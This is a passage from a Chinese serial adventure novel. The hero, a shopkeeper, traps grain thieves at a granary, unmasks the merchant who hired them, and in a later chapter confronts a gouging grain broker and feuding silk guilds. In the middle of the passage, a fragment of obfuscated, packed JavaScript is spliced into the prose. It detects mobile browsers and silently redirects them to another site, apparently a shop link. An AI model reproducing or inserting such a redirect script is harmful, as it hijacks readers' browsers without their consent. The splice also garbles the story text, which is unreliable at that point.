他站起身,绕着粮仓转了一圈。这粮仓是用青砖砌的墙,高两丈,顶上盖着青瓦,只有一个正门,两扇大门用手腕粗的铁锁锁着,还有四个瞭望口。夏雨来眼珠一转,心里有了主意。 “要不说咱脑子好使呢,” 他得意地拍了拍大腿,“来个瓮中捉鳖,让这帮孙子有来无回!” 二、巧布迷魂阵,夏雨来藏踪 夏雨来先是跑到粮仓旁边的草料房,抱了十几捆干草,堆在粮仓正门两侧,又在干草上洒了些煤油 —— 这是他从杂货铺带来的,本来是想夜里点灯用,现在正好派上用场。接着,他又找来十几根竹竿,把自己的几件旧衣服套在竹竿上,插在粮仓周围的草丛里,远远看去,像是一个个埋伏的捕快。 “黑风帮的人要是远远看见,肯定得犯嘀咕,” 夏雨来一边忙活,一边自言自语,“说不定还会以为官府早就有了防备,不敢轻易动手。” 忙活完这些,他又跑到粮仓的瞭望口,从怀里掏出一面小镜子,借着月光,时不时往外面照一照,镜子反射的光在夜色中一闪一闪,像是捕快们手中的火把。 “接下来,就是等鱼儿上钩了,” 夏雨来缩在瞭望口后面,屏住呼吸,心里既紧张又兴奋。他想起自己年轻时跟人打赌,在坟地里睡了一夜,都没这么刺激过。 他摸了摸怀里的短刀,这是他爹留下的,虽说不怎么锋利,但吓唬人还是够用的。又摸了摸腰间的铜锣,心里盘算着,等黑风帮的人靠近了,先敲锣造势,再放火烧干草,把他们逼到粮仓后面的泥坑里 —— 那里前几天下雨,积了半米深的烂泥,人一旦陷进去,就很难爬出来。 “完美!” 夏雨来忍不住在心里喝彩。可他又转念一想,万一黑风帮的人不上当怎么办?万一他们识破了自己的计谋怎么办?万一…… 一连串的 “万一” 让他手心冒出了汗。 “怕个球!” 他给自己打气,“咱夏雨来什么大风大浪没见过?当年在码头跟一群混混抢生意,以一敌三都没输过,还怕这几个偷粮的毛贼?” 就在他胡思乱想的时候,远处传来了一阵轻微的脚步声。夏雨来立刻警觉起来,握紧了怀里的短刀,眼睛死死盯着声音传来的方向。 脚步声越来越近,借着月光,夏雨来看到十几个黑影正朝着粮仓的方向移动。他们一个个身手矫健,动作麻利,一看就是惯犯。为首的是一个身材高大的壮汉,脸上蒙着黑布,只露出一双凶神恶煞的眼睛。 “黑风帮的人来了!” 夏雨来心里一紧,下意识地摸了摸腰间的铜锣。 “大哥,你看前面,” 一个瘦猴似的黑影指着粮仓周围的 “假人”,小声说道,“好像有埋伏!” 为首的壮汉停下脚步,眯着眼打量了一番,冷哼一声:“哼,这点小伎俩也想吓唬老子?肯定是官府的人故弄玄虚,想让我们知难而退。” “可是大哥,” 瘦猴又说,“我刚才好像看到有火光闪了一下,会不会是捕快的火把?” “怕什么!” 壮汉呵斥道,“咱们有二十多个人,就算有埋伏,也能冲进去!兄弟们,跟我上,事成之后,每人分一百斤大米!” “好嘞!” 一群黑影齐声应和,朝着粮仓冲了过来。 夏雨来心里暗骂:“这壮汉倒是挺狡猾,可惜啊,遇上了我夏雨来!” 他屏住呼吸,等黑影们靠近到离粮仓只有十几步远的时候,猛地敲起了铜锣:“咚!咚!咚!抓贼啊!有贼偷粮了!” 铜锣声在寂静的夜里格外刺耳,黑影们被吓了一跳,纷纷停下脚步。 “不好,有埋伏!” 瘦猴尖叫道。 “慌什么!” 壮汉吼道,“不过是一个人在敲锣,给我冲!” 就在黑影们再次冲锋的时候,夏雨来点燃了手中的火把,朝着正门两侧的干草扔了过去。“呼” 的一声,干草瞬间燃起了熊熊大火,把粮仓正门照得通红。 黑影们被大火拦住了去路,一个个惊慌失措。 “大哥,火太大了,冲不过去啊!” “慌什么!绕到后面去!” 壮汉喊道。 一群黑影立刻朝着粮仓后面跑去,可他们刚跑到粮仓后面,就听到 “扑通”“扑通” 几声,好几个人掉进了泥坑里。 “哎哟!这是什么鬼地方!” “救命啊!我陷进去了!” 泥坑里的黑影们挣扎着,可越挣扎陷得越深,一个个变成了 “泥人”。 夏雨来站在瞭望口,看着这一幕,差点笑出声来:“让你们偷粮!这下好了,成泥菩萨了吧!” 三、智斗黑风帮,唇枪舌剑酣 “是谁在那里装神弄鬼?” 壮汉气得暴跳如雷,朝着粮仓大喊。 夏雨来探出头,朝着壮汉拱了拱手:“在下夏雨来,乃是这粮仓的看守。奉劝各位兄弟,苦海无边,回头是岸,赶紧束手就擒,官府还能从轻发落!” “夏雨来?没听说过!” 壮汉冷哼一声,“识相的赶紧开门,把粮食交出来,否则,等我们冲进去,定要你碎尸万段!” “碎尸万段?” 夏雨来笑了,“就凭你们这几块料?刚才掉进泥坑里的兄弟,怕是连爬出来的力气都没有了吧?” “你!” 壮汉气得脸色铁青,“兄弟们,给我找东西灭火,冲进去!” 几个黑影立刻找来树枝,想要扑灭正门的大火,可夏雨来早有准备,他从瞭望口往下扔煤油,大火越烧越旺,根本扑不灭。 “大哥,不行啊,火太大了,根本靠近不了!” 壮汉看着熊熊燃烧的大火,又看了看陷在泥坑里的手下,心里又气又急。他知道,再这样耗下去,等官府的人来了,他们就插翅难飞了。 “夏雨来,你有种出来跟我单挑!” 壮汉喊道。 “单挑?” 夏雨来乐了,“我傻啊?我站在高处,你站在低处,你打不着我,我却能扔石头砸你,这单挑不公平啊!” “你!” 壮汉被噎得说不出话来。 夏雨来接着说道:“我说这位大哥,你也是混江湖的,怎么就干这种偷鸡摸狗的勾当?偷官府的粮仓,可是掉脑袋的大罪!你想想,就算你把粮食偷到手了,官府能饶得了你?到时候全县通缉,你连个藏身之处都没有,值得吗?” 壮汉心里一动,他其实也不想干这种掉脑袋的事,可黑风帮最近欠了一大笔赌债,急需用钱,而偷官府粮仓来钱最快。 “少废话!” 壮汉硬着头皮说道,“今天这粮食,我们是偷定了!” “偷定了?” 夏雨来撇了撇嘴,“我看未必。你以为你们的计划很周密?可你们不知道,我早就发现你们的踪迹了。昨天夜里,你们踩点的时候,就被我看见了。我还知道,你们今晚带了松油,想偷粮不成,就放火烧仓,嫁祸给别人,是不是?” 壮汉心里一惊,没想到夏雨来竟然什么都知道。他哪里知道,夏雨来其实是猜的,不过是想吓唬吓唬他们。 “你…… 你怎么知道?” “我怎么知道?” 夏雨来得意地说道,“我不仅知道这些,我还知道你们黑风帮的老巢在城外的黑风寨,你们帮主叫李黑虎,是不是?” 其实夏雨来根本不知道这些,他只是听县城里的人说过黑风帮的一些传闻,随口胡诌的。可壮汉却信以为真,以为夏雨来早就调查过他们了。 “你到底是什么人?” 壮汉警惕地问道。 “我是什么人不重要,” 夏雨来说道,“重要的是,你们今天跑不掉了。我已经派人去通知官府了,估计再过一盏茶的功夫,捕快们就到了。到时候,你们插翅难飞!” 壮汉心里咯噔一下,他最怕的就是官府的人来。他看了看周围,只见夜色越来越浓,远处隐约传来了马蹄声。 “不好,官府的人真的来了!” 瘦猴尖叫道。 壮汉脸色一变,他知道,再不走就来不及了。“兄弟们,撤!” “大哥,那陷在泥坑里的兄弟怎么办?” “管不了那么多了,先撤!” 壮汉咬了咬牙,转身就跑。 剩下的黑影们也跟着壮汉跑了,只留下几个陷在泥坑里的黑影,在那里哭爹喊娘。 夏雨来看着跑远的黑影,松了一口气,心里暗自庆幸:“还好这马蹄声来得及时,不然还真不好打发这些家伙。” 其实,那马蹄声根本不是官府的人,而是城外的一个马贩子赶夜路经过这里。夏雨来也是碰巧听到的,正好用来吓唬黑风帮的人。 四、捕快姗姗至,幕后有隐情 没过多久,衙门的捕快们终于来了。为首的是捕头张彪,他带着十几个捕快,骑着马,拿着火把,浩浩荡荡地赶到了粮仓。 “夏小哥,怎么样?有没有出事?” 张彪勒住马,大声问道。 夏雨来从粮仓上跳下来,拍了拍身上的灰尘:“张捕头,还好我反应快,黑风帮的人被我打跑了,还抓住了几个活口。” 张彪一听,大喜过望:“太好了!夏小哥,你立大功了!” 捕快们立刻上前,把陷在泥坑里的几个黑影拉了出来,用绳子捆了起来。 “带走!” 张彪大喝一声。 “张捕头,等一下,” 夏雨来说道,“黑风帮的人跑不远,他们往城外的黑风寨方向跑了,你们赶紧去追,说不定还能把他们一网打尽!” 张彪点了点头:“好!我分一半人跟你去追,剩下的人把这里收拾一下,看管俘虏。” 夏雨来带着几个捕快,朝着城外的黑风寨方向追去。可他们追了一路,连个人影都没看到。 “奇怪,他们跑哪里去了?” 一个捕快疑惑地说道。 夏雨来心里也犯嘀咕:“按理说,他们跑了这么短的时间,应该跑不远才对。难道是我猜错了他们的逃跑方向?” 就在这时,夏雨来突然想起了什么:“不好,他们可能不是回黑风寨,而是去了别的地方!” “别的地方?” 张彪问道,“什么地方?” “我猜,他们可能去了城西的破庙,” 夏雨来说道,“那破庙荒废了很久,正好可以藏身。而且,从这里到破庙,有条小路,比去黑风寨近多了。” 张彪半信半疑,但也没有别的办法,只好带着捕快们朝着城西的破庙跑去。 果然,他们刚到破庙门口,就听到里面传来了说话声。 “大哥,我们现在怎么办?官府的人肯定会到处搜捕我们的。” “慌什么!” 这是壮汉的声音,“等风头过了,我们再想办法。实在不行,我们就离开这座县城,去别的地方发展。” “可是大哥,我们的粮食还没到手,欠的赌债怎么办?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446939|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “欠的赌债?” 壮汉冷哼一声,“等我们躲过这一劫,再找机会干一票大的,还怕还不上赌债?” 夏雨来朝着张彪使了个眼色,张彪立刻会意,带着捕快们冲进了破庙。 “不许动!都给我蹲下!” 黑风帮的人没想到捕快们会找到这里,一个个惊慌失措,想要反抗,可根本不是捕快们的对手。没过多久,所有的黑影都被捆了起来。 张彪走到壮汉面前,扯掉他脸上的黑布,露出了一张满脸横肉的脸。 “原来是你,王三!” 张彪认出了他,“你不是早就离开县城了吗?怎么又回来了,还干起了偷粮的勾当?” 王三是县城里的一个老混混,以前经常小偷小摸,后来因为偷了大户人家的东西,被官府通缉,就跑路了。没想到,他竟然加入了黑风帮,还成了小头目。 “张捕头,我也是被逼无奈啊!” 王三哭丧着脸说道,“黑风帮的帮主李黑虎逼我干的,我要是不干,他就杀了我!” “李黑虎?” 张彪皱了皱眉,“这李黑虎最近越来越嚣张了,竟然敢打官府粮仓的主意。看来,是时候端了他的黑风寨了!” 夏雨来在一旁说道:“张捕头,我觉得这件事没那么简单。黑风帮虽然嚣张,但他们胆子再大,也不敢轻易跟官府作对。他们这次偷粮仓,说不定背后有人指使。” 张彪点了点头:“夏小哥说得有道理。我审问一下这些俘虏,看看能不能问出点什么。” 经过审问,王三等人终于吐露了实情。原来,背后指使他们偷粮仓的,竟然是县城里的粮商赵富贵! 赵富贵是县城里最大的粮商,垄断了县城的粮食生意。最近南方漕运到了,官府粮仓里的新粮即将投放市场,到时候米价肯定会下跌,赵富贵的利益会受到很大损失。所以,他就暗中勾结黑风帮,让他们去偷粮仓,再放火烧仓,这样一来,粮食短缺,米价就会上涨,他就能从中牟取暴利。 “好一个赵富贵!” 张彪气得咬牙切齿,“竟敢勾结匪类,危害百姓!我现在就去抓他!” 夏雨来拦住了他:“张捕头,别急。赵富贵是县城里的大户,有钱有势,我们没有确凿的证据,根本抓不了他。万一他反咬一口,说我们诬陷他,我们还不好收场。” “那怎么办?” 张彪问道。 “我有一个办法,” 夏雨来眼珠一转,“我们可以让王三他们戴罪立功,假意答应赵富贵,说粮食已经偷到手了,让他来破庙交接。到时候,我们埋伏在周围,等他一到,就人赃并获!” 张彪一拍大腿:“好主意!夏小哥,你真是太聪明了!” 五、设局擒真凶,粮仓得安宁 第二天夜里,王三按照夏雨来的吩咐,给赵富贵写了一封信,说粮食已经偷到手了,藏在城西的破庙里,让他带五千两银子来交接。 赵富贵收到信后,心里又喜又怕。喜的是,他的计划成功了,米价即将上涨;怕的是,万一有诈,他就会身败名裂。 “老爷,要不要去?” 管家问道。 赵富贵犹豫了半天,最终还是贪念战胜了恐惧:“去!为什么不去?只要拿到粮食,再杀了王三他们灭口,就没人知道是我干的了!” 当天夜里,赵富贵带着五个保镖,背着五千两银子,悄悄地来到了城西的破庙。 “王三,粮食呢?” 赵富贵一进破庙,就迫不及待地问道。 王三从黑暗中走了出来:“赵老爷,粮食都在这里,你先把银子给我。” 赵富贵看了看周围,只见破庙里堆着几袋粮食,心里放下了戒心,让管家把银子扔给了王三。 “银子给你了,粮食呢?” 就在这时,夏雨来和张彪带着捕快们从埋伏的地方走了出来,火把照亮了整个破庙。 “赵富贵,你被捕了!” 张彪大喝一声。 赵富贵脸色大变,转身就想跑,可保镖们早就被捕快们制服了。 “你们…… 你们想干什么?” 赵富贵惊慌失措地说道,“我是良民,你们不能随便抓我!” “良民?” 夏雨来笑了,“勾结黑风帮,偷官府粮仓,还想放火烧仓,危害百姓,你这也叫良民?” “你…… 你血口喷人!” 赵富贵反驳道。 “血口喷人?” 夏雨来指了指王三,“你问问他,是不是你指使他干的?” 王三上前一步,指着赵富贵说道:“赵富贵,你别狡辩了!是你让我们去偷粮仓,还让我们放火烧仓,嫁祸给别人。这些话,你都忘了吗?” 赵富贵看着王三,脸色惨白,一句话也说不出来。 “人赃并获,你还有什么好说的?” 张彪拿出手铐,铐在了赵富贵的手上。 赵富贵瘫倒在地,知道自己彻底完了。 第二天,赵富贵勾结黑风帮偷粮的事情传遍了整个县城,老百姓们无不拍手称快。官府没收了赵富贵的全部财产,还开仓放粮,米价很快就降了下来。 粮官王大人病好后,听说了夏雨来的事迹,亲自来到杂货铺,想要感谢他。 “夏小哥,多亏了你,不然县城就会大乱了!” 王大人说道。 夏雨来挠了挠后脑勺:“王大人,客气了,这都是我应该做的。” 王大人拿出一百两银子,递给夏雨来:“这是给你的赏钱,谢谢你为县城立了大功。” 夏雨来推辞道:“王大人,赏钱我不能要。我守粮仓,已经拿了衙门的工钱,这是我分内的事。” 王大人见夏雨来执意不收,只好作罢:“夏小哥,你真是个好人。以后,你要是有什么困难,尽管跟我说,我一定帮你。” 从此以后,夏雨来在县城里名声大噪,大家都知道他是一个聪明勇敢、为民除害的英雄。他的杂货铺生意也越来越红火,再也不用担心房租的问题了。 而官府粮仓,经过这件事之后,也加强了防备,再也没有人敢打它的主意了。每当夜深人静的时候,人们总能看到一个身影,在粮仓周围巡逻,那就是夏雨来 —— 他虽然不再是粮仓的看守,但他依然放心不下,每天都会来转一圈。 “咚 —— 咚 —— 咚 ——” 三更的梆子声再次响起,夏雨来站在粮仓的瞭望口,望着天边的月牙儿,心里充满了成就感。他知道,只要他在,这座粮仓就会安宁,县城里的老百姓就会安居乐业。 他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他守护的,是整个县城的希望和安宁。 45. 市井定风 一、杂货铺里听抱怨,牙行欺市起风波 “夏小哥,给我打两斤酱油!” 清晨的日头刚爬上县城东头的魁星楼,夏雨来的杂货铺就被推门声撞碎了宁静。买酱油的是城西的张屠户,五大三粗的汉子,脸上却挂着愁云,把手里的铜盆往柜台上一墩,“哐当” 一声震得货架上的油盐酱醋瓶都跟着打颤。 夏雨来正盘点着新到的货,闻言抬头一笑,拿起油提子往油缸里伸:“张屠户今儿个怎么没精打采的?你家那口祖传的杀猪刀,昨儿个不还亮得能照见人影吗?” “别提了!” 张屠户往门槛上一坐,掏出腰间的旱烟袋,却没点燃,只是重重叹了口气,“刀再利,也架不住有人在背后捅刀子啊!” 夏雨来心里咯噔一下,手上的动作没停,嘴上却饶有兴致地追问:“哦?谁这么大本事,敢惹你张屠户?是城东的李二狗又欠揍了,还是城外的黑风帮余孽没清干净?” “都不是!” 张屠户狠狠捶了下大腿,“是粮行的周扒皮!这老小子仗着自己是县城里的粮牙子,把米价抬得比山还高,还逼着我们这些做买卖的必须从他那儿买粮,不然就不准我们在集市上摆摊!” 夏雨来拎着装满酱油的油壶走过来,把铜盆递过去,心里已经有了数。这粮牙子周德发,人称周扒皮,是县城里的老牌牙行老板,手里攥着粮食交易的话语权,平日里就爱欺行霸市。前几日官府开仓放粮,米价本已回落,没想到这老小子竟然暗地操控,想要继续垄断粮食市场。 “他怎么个逼法?” 夏雨来给自己也拉了把椅子坐下,顺手给张屠户递了根烟,“官府不是刚出了告示,不准牙行乱抬物价吗?” “告示顶个屁用!” 张屠户点燃旱烟,猛吸了一口,烟圈从鼻孔里喷出来,带着满脸的愤懑,“周扒皮说了,他是‘官认的牙行’,手里有官府发的牙帖,我们这些小商贩要是不听他的,他就去衙门告我们‘私相交易’,到时候不仅要罚银子,还要封铺子!” 说到这儿,张屠户的声音压低了几分,凑近夏雨来:“夏小哥,你是不知道,昨儿个城南的王豆腐不听劝,从漕运码头直接买了两石米,结果今儿一早就被周扒皮带着人堵在了家门口,不仅把米给抢了,还把王豆腐的摊子给砸了!你说这叫什么事儿!” 夏雨来眉头一挑,心里暗自琢磨:这周扒皮胆子也太大了,刚收拾完赵富贵,又冒出这么个搅局的。他想起前几日师爷说过,牙行是官府认可的中介机构,负责评定市价、收发货物,可有些牙行老板仗着职权,欺压商贩、垄断市场,一直是县城里的顽疾。 “你想让我帮你出头?” 夏雨来看着张屠户,似笑非笑地问道。 张屠户眼神一亮,连忙点头:“夏小哥,你可是咱们县城的大英雄!上次你连赵富贵和黑风帮都收拾了,对付一个周扒皮还不是手到擒来?我们这些小商贩都商量好了,只要你肯出面,我们每人凑点银子,给你当酬劳!” “酬劳就免了!” 夏雨来摆了摆手,心里却已经有了计较,“我夏雨来爱管闲事,可不是为了银子。不过这事儿不能硬来,周扒皮手里有官府发的牙帖,要是咱们没抓到他的把柄,反而会被他倒打一耙。” 他站起身,绕着柜台走了一圈,手指在货架上轻轻敲击着,脑子里飞速盘算着:周扒皮既然敢抢王豆腐的米,砸他的摊子,肯定还有其他不法行为。要想治他,必须先收集证据,再找个合适的机会,让他身败名裂。 “张屠户,你帮我个忙。” 夏雨来停下脚步,看着张屠户,“你去跟其他商贩说,让他们暂时先忍一忍,该从周扒皮那儿买粮就买,但是每次交易都要偷偷记下时间、数量和价格,还有周扒皮说过的威胁话,都一一记下来。另外,你再去打听一下,周扒皮除了抬价、强买强卖,还有没有其他勾当,比如私吞客商的粮食,或者跟官府的人勾结。” 张屠户连忙答应:“没问题!夏小哥,我这就去办!你放心,我们一定把证据收集得妥妥当当的!” 看着张屠户急匆匆离去的背影,夏雨来嘴角勾起一抹笑容。他知道,这事儿没那么简单,周扒皮在县城里经营多年,肯定根基深厚,说不定还跟衙门里的人有勾结。但他夏雨来最不怕的就是这种仗势欺人的家伙,越是难啃的骨头,他越有兴趣。 当天下午,夏雨来关了杂货铺的门,换上一身不起眼的粗布衣服,揣着几两碎银子,朝着粮行的方向走去。他打算亲自去探探周扒皮的底,看看这老小子到底有多嚣张。 粮行位于县城的中心地段,门面宽敞,门口挂着一块烫金的牌匾,上面写着 “德发粮行” 四个大字。粮行里人来人往,大多是前来买粮的商贩和百姓,一个个脸上都带着不情愿,却又无可奈何的表情。 夏雨来混在人群中,假装买粮,耳朵却竖得高高的,听着周围人的议论。 “这米价又涨了,周扒皮真是黑心!” “没办法啊,除了他这儿,其他地方买不到这么多粮,要是误了生意,损失更大!” “听说周扒皮跟县太爷的小舅子是拜把子兄弟,难怪这么横!” 夏雨来心里冷笑一声,果然有靠山。他走到柜台前,对着账房先生说道:“先生,给我来一石米。” 账房先生抬了抬眼皮,上下打量了夏雨来一番,语气傲慢地说道:“一石米,二两银子。” “什么?” 夏雨来故作惊讶,“前几日官府开仓放粮,米价明明是一两二钱一石,怎么才过了几天就涨了这么多?” 账房先生嗤笑一声:“你小子是外乡人吧?咱们这儿的规矩,就是周老板定的。愿意买就买,不愿意买就滚,别在这儿耽误别人做生意!” 夏雨来心里的火气上来了,但他还是压了下去,脸上露出一副为难的表情:“先生,能不能便宜点?我一个小商贩,就靠这点粮食养家糊口,二两银子实在太贵了。” “便宜?” 账房先生像是听到了什么笑话,“周老板说了,一分钱一分货,咱们这儿的米都是上等的好米,不买拉倒!” 就在这时,一个穿着锦缎长袍、留着山羊胡的老头从后堂走了出来,身后跟着两个凶神恶煞的打手。这老头正是周德发,他眯着一双三角眼,打量着夏雨来,语气阴恻恻地说道:“小子,敢在我德发粮行讨价还价,你胆子不小啊!” 夏雨来心里暗道:正主儿来了。他脸上堆起笑容,拱了拱手:“周老板,在下是小本生意,实在承担不起这么高的价格,还望周老板高抬贵手,给个实在价。” “实在价?” 周德发冷笑一声,走到夏雨来面前,用手指点了点他的胸口,“在这县城里,我周德发说的价就是实在价!你要是识相,就乖乖掏钱买粮,不然我让你竖着进来,横着出去!” 夏雨来假装害怕,往后退了一步,心里却在盘算着怎么激怒周德发,让他说出更多把柄。他故意压低声音,说道:“周老板,我听说官府最近正在严查牙行欺市的行为,你这么明目张胆地抬价,就不怕被官府知道吗?” 周德发脸色一变,随即又恢复了嚣张的神色:“官府?官府里的人哪个不认识我周德发?我每年给县太爷送的银子,比你这辈子见过的都多!你小子也不打听打听,在这县城里,谁敢管我的闲事?” “可是前几日赵富贵不也挺嚣张的吗?最后还不是被官府抓了?” 夏雨来慢悠悠地说道,眼神里带着一丝挑衅。 提到赵富贵,周德发的脸色瞬间变得难看。他跟赵富贵本来就有利益冲突,赵富贵倒台后,他本想趁机垄断更多生意,没想到竟然有人敢在他面前提这件事。 “你小子找抽!” 周德发勃然大怒,对着身后的打手喊道,“给我把这小子拖出去,好好教训一顿,让他知道知道我的厉害!” 两个打手立刻上前,伸手就要抓夏雨来。夏雨来早有准备,身子一侧,巧妙地避开了打手的手,同时脚下一绊,一个打手 “扑通” 一声摔了个狗吃屎。 另一个打手见状,怒吼一声,挥着拳头朝着夏雨来砸来。夏雨来不慌不忙,侧身躲过拳头,反手抓住打手的手腕,轻轻一拧,打手立刻疼得嗷嗷直叫,跪倒在地。 周德发没想到夏雨来竟然有两下子,脸色更加难看:“你是什么人?敢在我粮行里撒野!” 夏雨来拍了拍手上的灰尘,脸上露出一抹玩味的笑容:“在下夏雨来,就是那个把赵富贵送进大牢的人。周老板,你刚才说的话,我都记下了,要是我把这些话告诉张捕头,你说会怎么样?” 周德发心里咯噔一下,他怎么也没想到,眼前这个不起眼的小子,竟然就是夏雨来。他可是听说了,这夏雨来脑子聪明,手脚利索,连黑风帮都栽在了他手里,自己要是真跟他对上,恐怕讨不到好。 “夏小哥,误会,都是误会!” 周德发立刻换上一副谄媚的笑容,搓着手说道,“刚才是我一时糊涂,说话没经过大脑,你可千万别往心里去。不就是一石米吗?我给你按一两二钱算,不,一两一钱,怎么样?” 夏雨来心里冷笑,这老小子倒是会见风使舵。他知道,现在还不是收拾周德发的时候,必须等收集到足够的证据,才能一举将他拿下。 “既然周老板这么有诚意,那我就却之不恭了。” 夏雨来笑了笑,从怀里掏出银子,“不过,我还有个条件。” “夏小哥你说,只要我能办到,一定照办!” 周德发连忙说道。 “以后不准再欺压商贩,不准乱抬物价,必须按照官府规定的价格交易。” 夏雨来语气严肃地说道,“要是让我知道你还敢胡作非为,我可就没这么好说话了。” 周德发心里一百个不愿意,但面对着夏雨来凌厉的眼神,还是不得不点头答应:“一定,一定!夏小哥你放心,我以后肯定规规矩矩做生意!” 夏雨来接过账房先生递过来的米,转身走出了粮行。他知道,周德发肯定不会这么轻易就改邪归正,这只是权宜之计,真正的好戏还在后头。 二、行帮争客闹集市,巧设赌局定输赢 自从夏雨来教训了周扒皮之后,粮行的米价确实回落了不少,商贩们也暂时松了一口气。可没过几天,县城里的集市又出了新的乱子。 这天一早,夏雨来正在杂货铺里整理货物,就听到外面传来一阵吵吵闹闹的声音,夹杂着桌椅板凳碰撞的声音和怒骂声。他心里纳闷,这大清早的,集市上怎么这么热闹? “夏小哥,不好了!不好了!” 一个气喘吁吁的声音传来,门口冲进来一个卖菜的老农,脸上满是焦急。 “李大爷,怎么了?慢慢说,别急。” 夏雨来连忙给老农倒了碗水。 李大爷接过水,一饮而尽,抹了把脸上的汗水,说道:“夏小哥,集市上打起来了!南京帮和苏州帮的绸缎商,为了抢生意,都快把集市给掀翻了!” 夏雨来心里一惊,南京帮和苏州帮都是县城里有名的绸缎行帮,南京帮以经营云锦为主,苏州帮则擅长苏绣,两帮一直以来就竞争激烈,没想到今天竟然闹到了动手的地步。 “怎么回事?好好的怎么就打起来了?” 夏雨来问道。 “还不是为了抢客源!” 李大爷叹了口气,“昨天来了个外地的大客商,想要订购一批绸缎,说是要给家里的小姐做嫁妆。南京帮和苏州帮都想把这生意抢到手,互相指责对方抢了自己的老主顾,说着说着就吵了起来,今天一早就在集市上打起来了!” 夏雨来放下手里的活,说道:“走,我去看看!” 他跟着李大爷来到集市,只见集市中央围了一大群人,里面传来 “砰砰乓乓” 的打斗声和怒骂声。夏雨来挤进去一看,只见十几个穿着绸缎衣服的汉子正扭打在一起,地上散落着绸缎、剪刀和尺子,还有几张被掀翻的桌子和板凳。 人群中,一个身材高大、穿着蓝色锦袍的汉子正在大喊:“你们苏州帮太不讲规矩了!这客商明明是我们先接洽的,凭什么抢我们的生意?” 这汉子是南京帮的帮主王虎,性格火爆,做事冲动。 另一个穿着白色锦袍、身材瘦削的汉子反驳道:“王虎,你别血口喷人!这客商是自己找上门来的,我们只是正常接待,怎么就成抢你们的生意了?倒是你们南京帮,好几次故意压低价格,抢我们的老主顾,我们还没跟你算账呢!” 这汉子是苏州帮的帮主沈文轩,心思缜密,善于算计。 两人越吵越凶,手下的人也打得更起劲了,甚至有几个围观的百姓被误伤,吓得纷纷后退。 夏雨来皱了皱眉,心里暗自嘀咕:这两个帮主也太不像话了,为了一笔生意,竟然在集市上大打出手,不仅影响了其他商贩的生意,还误伤了百姓。要是任由他们这么闹下去,后果不堪设想。 他上前一步,大声喊道:“住手!都给我住手!” 可正在气头上的王虎和沈文轩哪里听得进去,他们的手下也打得正酣,根本没人理会夏雨来。 夏雨来心里一急,眼珠一转,有了主意。他看到旁边有个卖铜锣的摊子,拿起一面铜锣,使劲敲了起来:“咚!咚!咚!官府的人来了!张捕头带着捕快过来了!” 这一声喊果然管用,正在打斗的汉子们立刻停下了手,纷纷看向四周,脸上露出了惊慌的神色。他们都知道,在集市上斗殴是违反官府规定的,要是被捕快抓住,不仅要罚银子,还要被关起来。 王虎和沈文轩也愣住了,他们没想到官府的人会来得这么快。沈文轩反应快,立刻说道:“大家别慌,可能是误会,我们赶紧走!” “想走?晚了!” 夏雨来笑着走了出来,手里还拿着铜锣,“我刚才是骗你们的,官府的人还没来。不过,要是你们再这么打下去,用不了多久,张捕头就真的会来了。” 王虎和沈文轩这才知道自己被夏雨来耍了,脸上都露出了恼怒的神色。王虎上前一步,怒视着夏雨来:“你是什么人?敢在这里多管闲事!” “在下夏雨来,只是个普通的杂货铺老板。” 夏雨来拱了拱手,“不过,我见两位帮主在这里大打出手,不仅影响了生意,还误伤了百姓,实在是不妥。不如我来给你们评评理,怎么样?” 沈文轩打量了夏雨来一番,认出了他就是上次抓住赵富贵和黑风帮的英雄,心里暗自嘀咕:这夏雨来脑子聪明,不好对付,要是真让他评理,说不定会吃亏。 他笑了笑,说道:“夏小哥,多谢你的好意。不过,这是我们南京帮和苏州帮之间的事,就不劳你费心了。我们自己会解决。” “自己解决?” 夏雨来嗤笑一声,“你们刚才的解决方式,就是大打出手?要是这样能解决问题,那以后大家有了矛盾,都不用讲道理了,直接动手就行了?” 王虎脾气火爆,忍不住说道:“那你说怎么办?这生意我们南京帮志在必得,谁也别想抢!” “放屁!” 沈文轩立刻反驳,“这生意明明是我们苏州帮的,你们南京帮休想染指!” 两人又吵了起来,眼看就要再次动手。 夏雨来连忙拦住他们:“两位帮主,别冲动!做生意讲究的是公平竞争,不是强取豪夺。你们这样打下去,不仅谁也得不到好处,还会两败俱伤。不如我们来设个赌局,谁赢了,这生意就归谁,怎么样?” 王虎和沈文轩对视一眼,都露出了疑惑的神色:“赌局?怎么赌?” 夏雨来笑了笑,说道:“我听说南京帮的云锦天下闻名,苏州帮的苏绣也是巧夺天工。不如这样,你们各自拿出一件最得意的作品,让那位外地客商来评判,谁的作品更合客商的心意,这生意就归谁。另外,为了防止你们以后再为了抢生意而争斗,我提议,以后县城里的绸缎生意,南京帮和苏州帮各占一半,不准再互相压价、抢客,怎么样?” 王虎和沈文轩心里都在盘算着:这个办法倒是公平,而且还能避免以后再发生冲突。那位外地客商是行家,由他来评判,也没人会不服气。 沈文轩点了点头:“好,我同意!不过,要是客商评判不公怎么办?” 夏雨来说道:“我来做见证,要是客商有偏袒,我自有办法处置。另外,我还要加上一条,要是以后谁违反了约定,不仅要把抢到的生意还给对方,还要赔偿对方的损失,并且向对方道歉!” 王虎也说道:“好!就这么办!我南京帮的云锦,肯定能赢!” “哼,鹿死谁手还不一定呢!” 沈文轩不服气地说道。 夏雨来立刻让人去请那位外地客商。没过多久,一位穿着体面、气度不凡的中年男子跟着伙计走了过来,他就是那位想要订购绸缎的客商,姓刘,是江南有名的富商。 刘客商看到眼前的景象,有些惊讶地问道:“这是怎么回事?” 夏雨来连忙上前解释:“刘老板,是这样的,南京帮和苏州帮都想跟你做生意,为了公平起见,他们各自会拿出一件最得意的作品,让你评判,谁的作品更合你的心意,你就跟谁合作,怎么样?” 刘客商笑了笑,说道:“好啊!我正愁不知道选哪家呢,这样正好,我倒要看看,南京的云锦和苏州的苏绣,到底哪家更胜一筹!” 